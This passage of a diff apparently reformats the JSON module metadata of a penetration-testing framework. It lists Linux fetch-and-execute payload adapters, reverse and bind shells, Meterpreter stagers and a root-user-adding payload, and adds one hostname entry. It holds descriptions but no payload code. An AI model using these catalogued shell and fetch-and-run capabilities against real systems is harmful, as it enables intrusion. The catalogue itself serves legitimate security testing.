attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206322,8 +210872,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206331,12 +210880,44 @@ "adapted_refname": "linux/x64/pingback_reverse_tcp", "staged": false }, + "payload_cmd/linux/https/x64/set_hostname": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x64/set_hostname", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Muzaffer Umut ŞAHİN " + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.", + "references": [], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/set_hostname", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/set_hostname", + "staged": false + }, "payload_cmd/linux/https/x64/shell/bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/https/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206345,9 +210926,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206361,8 +210940,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206375,9 +210953,7 @@ "payload_cmd/linux/https/x64/shell/reverse_sctp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse SCTP Stager", "fullname": "payload/cmd/linux/https/x64/shell/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206387,9 +210963,7 @@ "RageLtMan " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206403,8 +210977,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206417,9 +210990,7 @@ "payload_cmd/linux/https/x64/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206429,9 +211000,7 @@ "tkmru" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206445,8 +211014,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206459,9 +211027,7 @@ "payload_cmd/linux/https/x64/shell_bind_ipv6_tcp": { "name": "HTTPS Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/cmd/linux/https/x64/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206470,9 +211036,7 @@ "epi " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for an IPv6 connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206486,8 +211050,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206498,9 +211061,7 @@ "payload_cmd/linux/https/x64/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206509,9 +211070,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206525,8 +211084,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206537,9 +211095,7 @@ "payload_cmd/linux/https/x64/shell_bind_tcp_random_port": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206547,7 +211103,7 @@ "Brendan Watters", "Geyslan G. Bem " ], - "description": "Fetch and execute an x64 payload from an HTTPS server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "description": "Fetch and execute an x64 payload from an HTTPS server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port_x86_64.asm" ], @@ -206564,8 +211120,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206576,9 +211131,7 @@ "payload_cmd/linux/https/x64/shell_find_port": { "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/https/x64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206587,9 +211140,7 @@ "mak" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206603,8 +211154,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206615,9 +211165,7 @@ "payload_cmd/linux/https/x64/shell_reverse_ipv6_tcp": { "name": "HTTPS Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/cmd/linux/https/x64/shell_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206626,9 +211174,7 @@ "epi " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206642,8 +211188,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206654,9 +211199,7 @@ "payload_cmd/linux/https/x64/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206665,9 +211208,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206681,8 +211222,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206693,9 +211233,7 @@ "payload_cmd/linux/https/x86/adduser": { "name": "HTTPS Fetch, Linux Add User", "fullname": "payload/cmd/linux/https/x86/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206707,9 +211245,7 @@ "spoonm " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nCreate a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206723,8 +211259,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206735,9 +211270,7 @@ "payload_cmd/linux/https/x86/chmod": { "name": "HTTPS Fetch, Linux Chmod", "fullname": "payload/cmd/linux/https/x86/chmod", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206747,9 +211280,7 @@ "kris katterjohn " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nRuns chmod on specified file with specified mode", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206763,8 +211294,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206775,9 +211305,7 @@ "payload_cmd/linux/https/x86/exec": { "name": "HTTPS Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/https/x86/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206805,8 +211333,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206817,9 +211344,7 @@ "payload_cmd/linux/https/x86/generic/debug_trap": { "name": "HTTPS Fetch, Generic x86 Debug Trap", "fullname": "payload/cmd/linux/https/x86/generic/debug_trap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206829,9 +211354,7 @@ "robert " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nGenerate a debug trap in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -206845,8 +211368,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206857,9 +211379,7 @@ "payload_cmd/linux/https/x86/generic/tight_loop": { "name": "HTTPS Fetch, Generic x86 Tight Loop", "fullname": "payload/cmd/linux/https/x86/generic/tight_loop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206869,9 +211389,7 @@ "jduck " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nGenerate a tight loop in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -206885,8 +211403,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206897,9 +211414,7 @@ "payload_cmd/linux/https/x86/meterpreter/bind_ipv6_tcp": { "name": "HTTPS Fetch, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206911,9 +211426,7 @@ "egypt " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -206927,8 +211440,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206941,9 +211453,7 @@ "payload_cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206956,9 +211466,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -206972,8 +211480,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206986,9 +211493,7 @@ "payload_cmd/linux/https/x86/meterpreter/bind_nonx_tcp": { "name": "HTTPS Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206999,9 +211504,7 @@ "skape " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207015,8 +211518,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207029,9 +211531,7 @@ "payload_cmd/linux/https/x86/meterpreter/bind_tcp": { "name": "HTTPS Fetch, Bind TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207043,9 +211543,7 @@ "egypt " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207059,8 +211557,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207073,9 +211570,7 @@ "payload_cmd/linux/https/x86/meterpreter/bind_tcp_uuid": { "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207088,9 +211583,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207104,8 +211597,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207118,9 +211610,7 @@ "payload_cmd/linux/https/x86/meterpreter/find_tag": { "name": "HTTPS Fetch, Find Tag Stager", "fullname": "payload/cmd/linux/https/x86/meterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207131,9 +211621,7 @@ "skape " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207147,8 +211635,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207161,9 +211648,7 @@ "payload_cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207174,9 +211659,7 @@ "kris katterjohn " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207190,8 +211673,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207204,9 +211686,7 @@ "payload_cmd/linux/https/x86/meterpreter/reverse_nonx_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207217,9 +211697,7 @@ "skape " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207233,8 +211711,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207247,9 +211724,7 @@ "payload_cmd/linux/https/x86/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207262,9 +211737,7 @@ "tkmru" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207278,8 +211751,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207292,9 +211764,7 @@ "payload_cmd/linux/https/x86/meterpreter/reverse_tcp_uuid": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207307,9 +211777,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -207323,8 +211791,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207337,9 +211804,7 @@ "payload_cmd/linux/https/x86/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/x86/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207351,9 +211816,7 @@ "timwr" ], "description": "Fetch and execute an x86 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207367,8 +211830,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207379,9 +211841,7 @@ "payload_cmd/linux/https/x86/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/x86/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207393,9 +211853,7 @@ "timwr" ], "description": "Fetch and execute an x86 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207409,8 +211867,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207421,9 +211878,7 @@ "payload_cmd/linux/https/x86/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/x86/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207435,9 +211890,7 @@ "timwr" ], "description": "Fetch and execute an x86 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207451,8 +211904,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207463,9 +211915,7 @@ "payload_cmd/linux/https/x86/metsvc_bind_tcp": { "name": "HTTPS Fetch, Linux Meterpreter Service, Bind TCP", "fullname": "payload/cmd/linux/https/x86/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207475,9 +211925,7 @@ "hdm " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207491,8 +211939,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207503,9 +211950,7 @@ "payload_cmd/linux/https/x86/metsvc_reverse_tcp": { "name": "HTTPS Fetch, Linux Meterpreter Service, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/x86/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207515,9 +211960,7 @@ "hdm " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207531,8 +211974,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207543,9 +211985,7 @@ "payload_cmd/linux/https/x86/read_file": { "name": "HTTPS Fetch, Linux Read File", "fullname": "payload/cmd/linux/https/x86/read_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207555,9 +211995,7 @@ "hal" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nRead up to 4096 bytes from the local file system and write it back out to the specified file descriptor", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207571,8 +212009,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207583,9 +212020,7 @@ "payload_cmd/linux/https/x86/shell/bind_ipv6_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/https/x86/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207597,9 +212032,7 @@ "egypt " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207613,8 +212046,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207627,9 +212059,7 @@ "payload_cmd/linux/https/x86/shell/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/https/x86/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207642,9 +212072,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207658,8 +212086,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207672,9 +212099,7 @@ "payload_cmd/linux/https/x86/shell/bind_nonx_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/https/x86/shell/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207684,9 +212109,7 @@ "skape " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207700,8 +212123,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207714,9 +212136,7 @@ "payload_cmd/linux/https/x86/shell/bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/https/x86/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207727,9 +212147,7 @@ "egypt " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207743,8 +212161,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207757,9 +212174,7 @@ "payload_cmd/linux/https/x86/shell/bind_tcp_uuid": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/https/x86/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207771,9 +212186,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207787,8 +212200,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207801,9 +212213,7 @@ "payload_cmd/linux/https/x86/shell/find_tag": { "name": "HTTPS Fetch, Linux Command Shell, Find Tag Stager", "fullname": "payload/cmd/linux/https/x86/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207813,9 +212223,7 @@ "skape " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207829,8 +212237,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207843,9 +212250,7 @@ "payload_cmd/linux/https/x86/shell/reverse_ipv6_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/linux/https/x86/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207856,9 +212261,7 @@ "kris katterjohn " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207872,8 +212275,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207886,9 +212288,7 @@ "payload_cmd/linux/https/x86/shell/reverse_nonx_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x86/shell/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207898,9 +212298,7 @@ "skape " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207914,8 +212312,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207928,9 +212325,7 @@ "payload_cmd/linux/https/x86/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x86/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207942,9 +212337,7 @@ "tkmru" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -207958,8 +212351,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -207972,9 +212364,7 @@ "payload_cmd/linux/https/x86/shell/reverse_tcp_uuid": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x86/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -207986,9 +212376,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208002,8 +212390,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208016,9 +212403,7 @@ "payload_cmd/linux/https/x86/shell_bind_ipv6_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/cmd/linux/https/x86/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": 